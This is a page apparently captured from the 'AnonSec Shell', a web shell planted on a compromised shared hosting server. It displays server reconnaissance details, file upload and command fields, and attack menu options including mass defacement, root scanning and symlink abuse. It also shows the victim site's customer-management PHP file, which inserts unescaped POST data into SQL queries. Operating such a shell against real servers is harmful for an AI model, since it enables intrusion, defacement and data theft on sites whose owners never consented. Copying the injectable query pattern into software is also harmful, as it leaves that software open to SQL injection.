AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/Customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/Customer//action.php
<?php
$ck='not';
include("../include/checkLogin.php");
include("../include/class.php");
include("../include/table_name.php");
$date_year = date("Y");
$date_month = date("m");

if($_POST['Type']=='Create'){
  $sql = array('table'=>$name_table51);
  $view_sql = $view_db->view($sql);
  $row = $view_db->q($view_sql);
  $res = $view_db->q_re($view_sql);
  $row_count = $view_db->q_nr($res);
  $code =str_pad(($row_count+1),6,"0",STR_PAD_LEFT)."T";
  //echo $code;
  $list = array(
    'table'=>$name_table51,
    'NamesName'=>"'".@$_POST["NamesName"]."'",
    'NamesCode'=>"'".@$code."'",
    'Telephone'=>"'".@$_POST["Telephone"]."'",
    'PostalAddress'=>"'".@$_POST["PostalAddress"]."'",
    'Fax'=>"'".@$_POST["Fax"]."'",
    'ElectronicMail'=>"'".@$_POST["ElectronicMail"]."'",
    'TaxID'=>"'".@$_POST["TaxID"]."'",
    'Remark'=>"'".@$_POST["Remark"]."'",
    'Initial'=>"'".@$_POST["Initial"]."'",
    'CreateBy'=>"'".@$_SESSION['UserInfo'][0]["UserId"]."'",
    'CreateDateTime'=>"'".@$date."'",
  );
  $add = $actiondata_db->add_db($list);
  //print_r($add);
  if($add['suc']==1){
    $_SESSION['Success'] = "Add Customer Successful.";
    echo "<script>window.location.href='index.php';</script>";

  }
}
if($_POST['Type']=='Edit'){
  $list = array(
    'table'=>$name_table51,
    'NamesId'=>@$_POST["NamesId"],
    'Telephone'=>@$_POST["Telephone"],
    'PostalAddress'=>@$_POST["PostalAddress"],
    'Fax'=>@$_POST["Fax"],
    'ElectronicMail'=>@$_POST["ElectronicMail"],
    'TaxID'=>@$_POST["TaxID"],
    'Initial'=>@$_POST["Initial"],
    'Remark'=>@$_POST["Remark"],
    'LastUpdateBy'=>@$_SESSION['UserInfo'][0]["UserId"],
    'LastUpdateDateTime'=>@$date,
  );
  $add = $actiondata_db->edit_db($list);
  if($add['suc']==1){
    $_SESSION['Success'] = "Edit Customer Successful.";
    echo "<script>window.location.href='index.php';</script>";

  }
}

?>

Anon7 - 2022
AnonSec Team